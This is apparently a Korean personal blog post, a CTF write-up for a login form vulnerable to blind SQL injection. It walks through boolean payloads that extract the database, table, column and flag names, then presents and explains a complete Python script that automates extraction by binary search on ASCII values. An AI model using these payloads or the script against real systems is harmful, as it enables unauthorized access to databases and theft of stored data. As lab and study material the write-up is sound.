일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- css
- 모의해킹
- JS
- Los
- JWT
- 게시판 만들기
- MySQL
- cors
- union sql injection
- 로그인
- csrf
- Error based sql injection
- blind sql injection
- file upload
- XSS
- 웹개발
- 로그인페이지
- Reflected Xss
- 세션
- CTF
- lord of sql injection
- lord of sqli
- sql injection
- 과제
- sql injection point
- cookie 탈취
- Python
- Cross Site Request Forgery
- php
- 쿠키
- Today
- Total
Almon Dev
ctf 풀이 (SQL Injection 6) 본문
ctf 문제 풀이
SQL Injection 6
풀이
SQL Injection 5와 php로직과 sql문 자체는 같지만 에러가 출력되지 않는 경우입니다.
Blind Sql Injection을 사용해 보겠습니다.
1> SQLI 포인트 찾기
normaltic' and ('1' = '1') and '1' = '1 , normaltic' and ('1' = '2') and '1' = '1을 이용해서 참과 거짓의 응답을 확인합니다.
=> 결과가 참 : 302 리다이렉트
=> 결과가 거짓 : 200 OK
2> Select가 가능한지 확인 (필터링 X)
normaltic' and ((select 1) = 1) and '1' = '1
302 응답이 온 것으로 필터링이 되지 않은 것을 확인합니다.
3> 공격 format 만들기
기본 format : normaltic' and (조건) and '1' = '1
substring : (substring((SQL), 1, 1)) => 한 글자씩 확인
ascii : (ascii(substring((SQL), 1, 1)) > 0) => 문자를 ascii 코드의 숫자로 변경
완성 format : normaltic' and ((ascii(substring((SQL), 1, 1)) > 0)) and '1' = '1
4> DB명 추출
normaltic' and ((ascii(substring((select database()), [index], 1)) > [ascii])) and '1' = '1
select database() 결과의 글자 index(1부터 시작)와 ascii를 이용해서 하나하나 글자를 찾아갑니다.
normaltic' and ((ascii(substring((select database()), 1, 1)) > 80)) and '1' = '1 => True
normaltic' and ((ascii(substring((select database()), 1, 1)) > 100)) and '1' = '1 => True
normaltic' and ((ascii(substring((select database()), 1, 1)) > 110)) and '1' = '1 => True
이런 식으로 범위를 좁혀가며 탐색합니다.
=> DB 명 : sqli_3
5> Table명 추출
normaltic' and ((ascii(substring(( select table_name from information_schema.tables
where table_schema='sqli_3' limit 0,1 ), 1, 1)) > 80)) and '1' = '1
select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1
=> Table 명 : flag_table, member
6> Column명 추출
normaltic' and ((ascii(substring((select column_name from information_schema.columns
where table_schema='sqli_3' and table_name='flag_table' limit 0,1), 1, 1)) > 0)) and '1' = '1
select column_name from information_schema.columns
where table_schema='sqli_3' and table_name='flag_table' limit 0,1
=> flag_table Column 명 : flag
7> 데이터 추출
normaltic' and ((ascii(substring((select flag from flag_table limit 0,1), 1, 1)) > 0)) and '1' = '1
select flag from flag_table limit 0,1
풀이 (Python)
0 ~ 127 사이의 숫자에서 하나의 값을 찾을 때 중간점으로 비교해서 범위를 줄여나가는 알고리즘을
이진탐색(Binary Search) 알고리즘이라고 합니다.
이진탐색은 보통 재귀함수나 반복문으로 구현할 수 있는데,
저는 반복문을 사용했습니다.
import requests
def blind_sqli_request(session, url, sql, index, ascii):
format = f"normaltic' and (ascii(substring(({sql}), {index}, 1)) > {ascii}) and '1' ='1"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
'UserId' : format,
'Password' : '1234',
'Submit' : 'Login',
}
proxies = {
"http": "http://localhost:8080"
}
# response = session.post(url, data=data, headers=headers, proxies=proxies, allow_redirects=False)
response = session.post(url, data=data, headers=headers, allow_redirects=False)
# print(response.status_code)
return response.status_code
url = input("URL \u1433 ")
method = input("1: POST \n2: GET \nMethod \u1433 ")
session = requests.Session()
result = ""
if method == '1':
while True:
sql = input("SQL \u1433 ")
code = blind_sqli_request(session, url, sql, 1, 0)
if code == 302:
index = 1
while True:
left = 0
right = 127
code = blind_sqli_request(session, url, sql, index, 0)
if code == 200:
result = ""
print("\n")
break
while True:
mid = (left + right) // 2
code = blind_sqli_request(session, url, sql, index, mid)
if code == 302:
left = mid + 1
else:
right = mid
if left == right:
# print('test : ', left, right, mid)
index += 1
result += chr(right)
print(f"\rData : {result}", end="")
break
else:
print("Fail : ", sql, "\n")
elif method == '2':
pass
def blind_sqli_request(session, url, sql, index, ascii):
format = f"normaltic' and (ascii(substring(({sql}), {index}, 1)) > {ascii}) and '1' ='1"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
'UserId' : format,
'Password' : '1234',
'Submit' : 'Login',
}
proxies = {
"http": "http://localhost:8080"
}
# response = session.post(url, data=data, headers=headers, proxies=proxies, allow_redirects=False)
response = session.post(url, data=data, headers=headers, allow_redirects=False)
# print(response.status_code)
return response.status_code
sql, index, ascii를 입력받아 공격 format을 완성한 뒤, 입력받은 url으로 열어둔 session을 이용해서 post 요청을 보냅니다.
응답값의 status_code( ex) 302, 200 )를 리턴합니다.
session을 사용하는 이유 :
requests.post를 사용할 수도 있지만 같은 url에 요청이 반복될 때 TCP Handshake가 계속 발생하므로
성능이 느리다고 판단했습니다. requests.Session을 이용하면 처음 요청을 보낼 때 TCP Handshake를 한 뒤로
연결을 끊지 않고 유지하며 계속 데이터를 주고받을 수 있습니다.
TCP Handshake :
데이터를 전송하기 이전에 패킷을 주고받으면서 데이터에 손상이 없는지,
연결이 제대로 되는지를 확인하는 절차입니다.
TCP Handshake 과정 :
1 : 클라이언트가 서버에 SYN 패킷을 보냅니다
2 : 서버가 클라이언트에 SYN-ACK 패킷을 응답합니다
3 : 클라이언트가 ACK 패킷을 서버로 다시 보냅니다.
url = input("URL \u1433 ")
method = input("1: POST \n2: GET \nMethod \u1433 ")
session = requests.Session()
result = ""
url과 method를 입력받고 세션을 만들어둡니다.
sqli의 결과가 담길 result 변수를 빈 문자열로 만들어줍니다.
if method == '1':
while True:
sql = input("SQL \u1433 ")
code = blind_sqli_request(session, url, sql, 1, 0)
method가 post이면 sql을 입력받는 무한 루프를 합니다.
sql을 입력받은 뒤에는 sql 결과의 첫 번째 글자의 ascii가 0보다 큰지를 확인해서
결과가 존재하는지 검사합니다.
if code == 302:
index = 1
while True:
left = 0
right = 127
~~~~~~
~~~~~~
else:
print("Fail : ", sql, "\n")
결과가 존재한다면 index를 1로 설정하고 다시 무한 루프로 들어갑니다. => index 루프
left와 right는 ascii의 범위를 뜻합니다. 0~ 127 사이의 값이라는 의미입니다.
결과가 존재하지 않을 때는 실패 메시지를 출력하고 다시 sql문을 입력받습니다.
code = blind_sqli_request(session, url, sql, index, 0)
if code == 200:
result = ""
print("\n")
break
sql의 결괏값의 index번째 문자가 0보다 큰지 확인하고 응답코드가 200이면 루프를 종료합니다.
=> 마지막 글자까지 출력을 끝냈을 때
while True:
mid = (left + right) // 2
code = blind_sqli_request(session, url, sql, index, mid)
if code == 302:
left = mid + 1
else:
right = mid
if left == right:
# print('test : ', left, right, mid)
index += 1
result += chr(right)
print(f"\rData : {result}", end="")
break
다시 무한루프로 들어갑니다 => lef, right를 바꿔가며 index의 글자를 찾는 루프
mid = (left + right) // 2
code = blind_sqli_request(session, url, sql, index, mid)
mid는 left와 right의 중간값으로 설정하고 ascii에 대입하여 글자의 범위를 검사합니다.
if code == 302:
left = mid + 1
else:
right = mid
code가 302인 경우 mid보다 큰 값이라는 의미이므로 left + 1을 mid로 변경합니다.
302가 아닌 경우 mid보다 크지 않다는 의미이므로 right를 mid로 변경합니다.
if left == right:
# print('test : ', left, right, mid)
index += 1
result += chr(right)
print(f"\rData : {result}", end="")
break
left와 right가 같아졌을 때 => 결과를 찾았을 때
index를 1을 더해서 다음 글자를 찾도록 설정하고,
결과를 담는 변수인 result에 ascii 숫자를 문자로 변환해 더해줍니다.
result를 출력한 뒤에 break를 이용해서 다음 index를 찾는 루프로 돌아갑니다.
Python 실행 영상
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (SQL Injection Point 1) (1) | 2024.12.10 |
---|---|
모의해킹 공부 8주차 (SQL Injection) (1) | 2024.12.06 |
ctf 풀이 (SQL Injection 5) (0) | 2024.11.30 |
ctf 풀이 (SQL Injection 4) (0) | 2024.11.30 |
ctf 풀이 (SQL Injection 3) (2) | 2024.11.29 |